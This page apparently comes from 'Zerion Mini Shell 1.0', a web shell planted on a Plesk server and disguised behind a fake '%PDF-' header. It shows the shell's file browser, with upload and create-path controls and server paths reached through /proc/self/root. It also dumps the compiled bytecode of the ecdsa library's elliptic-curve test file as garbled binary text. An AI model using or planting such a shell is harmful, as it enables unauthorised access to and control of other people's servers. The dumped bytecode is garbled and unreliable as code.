%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/
Upload File :
Create Path :
Current File : //proc/self/root/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_jacobi.pyo

�
�ac@s�yddlZWnek
r/ddlZnXddljZddlmZmZm	Z	m
Z
ddlmZm
Z
mZddlmZmZmZddlmZdejfd��YZdS(	i����N(tgiventassumetsettingstexamplei(tPointtPointJacobitINFINITY(t
generator_256t	curve_256t
generator_224(tinverse_modt
TestJacobicBs�eZd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zd�Z
d�Zd
�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zedd�eejdddeej����d���Z edd�eejdddeej����e!d�e!eej���d�����Z"edd�eejdddeej���ejdddeej����e!dd�d ����Z#edd�eejdddeej���ejdddeej���ejdddee$j%�d���d!���Z&edd�eejdddeej���ejdddeej���ejdddee$j%�d���e!ddd�e!ddd�e!d"eej�d"�d�e!d"eej�d"�d�d#�������Z'edd$�eejdddeej���ejdddeej���ej(ejdddee$j%�d��d%d"d&d"d'e)��e!d"d"d"dg�e!d"d"d"dg�e!d"eej�d"�d"dg�e!d"eej�d"�d"dg�d(�������Z*d)�Z+d*�Z,d+�Z-d,�Z.d-�Z/d.�Z0d/�Z1d0�Z2RS(1cCs�t�}d}d}d}d}t|||||�}|j|j�|�|j|j�|�|j|j�|�|j|j�|�dS(Niiii(tobjectRtassertEqualtordertassertIstcurvetxty(tselfRRRtzRtpj((sF/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_jacobi.pyt
test___init__s	cCs@tjt�}tjt�}|jt��
||WdQXdS(N(Rtfrom_affineRR	tassertRaisest
ValueError(Rtp_atp_b((sF/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_jacobi.pyttest_add_with_different_curvesscCs|jtt�dS(N(tassertNotEqualRR	(R((sF/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_jacobi.pyttest_compare_different_curves#scCs#tjt�}|j|d�dS(Ntvalue(RRRR(RR((sF/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_jacobi.pyttest_equality_with_non_point&scCs/tjt�}|j�}|jt|�dS(N(RRRt	to_affineR
(RRtpw((sF/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_jacobi.pyttest_conversion+scCsctjt�}tj�}|j�}|j|j�|j��|j|j�|j��dS(N(RRRtdoubleR
RR(RRR"((sF/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_jacobi.pyttest_single_double1s
cCs5ttddd�}|j�}|j|t�dS(Nii(RRR$RR(RR((sF/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_jacobi.pyttest_double_with_zero_point:scCs;ttdtj�d�}|j�}|j|t�dS(Nii(RRtpR$RR(RR((sF/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_jacobi.pyt&test_double_with_zero_equivalent_pointAscCs;ttdtj�d�}|j�}|j|t�dS(Nii(RRR'R$RR(RR((sF/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_jacobi.pyt.test_double_with_zero_equivalent_point_non_1_zHscCs?tjt�}|j�}|j||�|j||�dS(N(RRRR!R
(RRtpa((sF/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_jacobi.pyttest_compare_with_affine_pointOscCs5ttddd�}|j�}|j|t�dS(Nii(RRR!RR(RRR*((sF/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_jacobi.pyttest_to_affine_with_zero_pointVscCs?tjt�}|j�}||}|j||j��dS(N(RRRR!R
R$(RRR*ts((sF/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_jacobi.pyttest_add_with_affine_point]s
cCs?tjt�}|j�}||}|j||j��dS(N(RRRR!R
R$(RRR*R-((sF/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_jacobi.pyttest_radd_with_affine_pointes
cCs-tjt�}|t}|j||�dS(N(RRRRR
(RRR-((sF/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_jacobi.pyttest_add_with_infinityms
cCsHtjt�j�}ttddd�}||}|j||�dS(Nii(RRRR!RR(RR*RR-((sF/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_jacobi.pyttest_add_zero_point_to_affinets
cCs-tjt�}|d}|j|t�dS(Ni(RRRRR(RR((sF/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_jacobi.pyttest_multiply_by_zero|s
cCs3ttddd�}|d}|j|t�dS(Nii(RRRR(RR((sF/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_jacobi.pyttest_zero_point_multiply_by_one�s
cCs_tjt�}td}|d}|j|j�|j��|j|j�|j��dS(Ni(RRRR
RR(RRR"((sF/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_jacobi.pyttest_multiply_by_one�s


cCs_tjt�}td}|d}|j|j�|j��|j|j�|j��dS(Ni(RRRR
RR(RRR"((sF/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_jacobi.pyttest_multiply_by_two�s


cCs7tjt�}td}d|}|j||�dS(Ni(RRRR
(RRR"((sF/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_jacobi.pyttest_rmul_by_two�s

cCs#tjt�}|j|t�dS(N(RRRRR(RR((sF/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_jacobi.pyt#test_compare_non_zero_with_infinity�scCs)ttddd�}|j|t�dS(Nii(RRR
R(RR((sF/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_jacobi.pyt%test_compare_zero_point_with_infinity�scCs9tjt�}|j�}|d}|j||�dS(Ni(RRRR$R
(RRtdbltmlpl((sF/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_jacobi.pyt!test_compare_double_with_multiply�s
tmax_examplesi
t	min_valueit	max_valuecCsqtjt�}|j�|}||}|j|j�|j�f|j�|j�f�|j||�dS(N(RRRR!R
RR(RtmulRR"((sF/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_jacobi.pyttest_multiplications�s

4cCsItjtt�}tjt�}||}||}|j||�dS(N(RRRtTrueR
(RR?tprecompRtatb((sF/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_jacobi.pyttest_precompute�s


iicCs[tjt�}tj||�}tj||�}||}|j||||�dS(N(RRRR
(Rta_multb_multj_gRCRDtc((sF/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_jacobi.pyttest_add_scaled_points�s

c
Cs�tjt�}tj||�}tj||�}tj�}tt||��|||}tt|j�|||j�||||�}||}	|j	|	|||�dS(N(
RRRRR'RR
RRR
(
RRFRGtnew_zRHRCRDR'tnew_zzRI((sF/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_jacobi.pyttest_add_one_scaled_point�s2
ic
Cs�tjt�}tj||�}tj||�}tj�}tt||��|||}tt|j�|||j�||||�}tt|j�|||j�||||�}||}	|j	|	|||�dS(N(
RRRRR'RR
RRR
(
RRFRGRKRHRCRDR'RLRI((sF/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_jacobi.pyttest_add_same_scale_points�s	22
itmin_sizetmax_sizetuniquecCs;tjt�}tj||�}tj||�}tj�}tt|d|��tt|d|��|d|d|}|d|d|}	tt|j�|||j�||d||d�}tt|j�|	||j�|	|d||d�}||}
|j	|
|||�dS(Nii(
RRRRR'RR
RRR
(RRFRGRKRHRCRDR'tnew_zz0tnew_zz1RI((sF/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_jacobi.pyttest_add_different_scale_pointss(



cCs/tjt�}|j|d|||�dS(Ni(RRRR
(RRH((sF/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_jacobi.pyttest_add_point_3_times1scCs2tjt�}|j||jdtd��dS(Ni(RRRR
tmul_addR(RRH((sF/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_jacobi.pyttest_mul_add_inf6scCs6tjt�}|j|d|jd|d��dS(Nii(RRRR
RV(RRH((sF/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_jacobi.pyttest_mul_add_same;scCs�tjtt�}tj|dt�}|j|d||�|j|dd|d|d�|j|dd|jd|d��dS(Ni�iiii�i�(RRRRAR
RV(RRHRD((sF/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_jacobi.pyttest_mul_add_precompute@s
$cCs�tjtt�}tj|dt�}|j|d||�|j|dd|d|d�|j|dd|jd|d��dS(Ni�ii�i��i��i��(RRRRAR
RV(RRHRD((sF/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_jacobi.pyttest_mul_add_precompute_largeHscCsBtjt�}|d}|jd|d�}|j||�dS(Niii(RRRRVR
(RRHRCRD((sF/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_jacobi.pyttest_mul_add_to_mulRs
cCs`tjt�}td}td}|d}|jd|d�}|j|j�||�dS(Ni�i�i�i��(RRRRVR
R!(RRHtw_atw_btj_btret((sF/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_jacobi.pyttest_mul_addZs


cCs�tjt�}tj|d�}|j|d||�|j|dd|d|d�|j|dd|jd|d��dS(Ni�ii�i��i��i��(RRRR
RV(RRHRD((sF/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_jacobi.pyttest_mul_add_largees(3t__name__t
__module__RRRR R#R%R&R(R)R+R,R.R/R0R1R2R3R4R5R6R7R8R;RRtsttintegerstintRRR@RRERJRR'RMRNtlistsRARTRURWRXRYRZR[R`Ra(((sF/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_jacobi.pyRs|	
																									6
'	*
$$
$!7$!(:$!.%@					
		(t	unittest2tunittesttImportErrorthypothesis.strategiest
strategiesRdt
hypothesisRRRRt
ellipticcurveRRRtecdsaRRR	tnumbertheoryR
tTestCaseR(((sF/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_jacobi.pyt<module>s
"

Zerion Mini Shell 1.0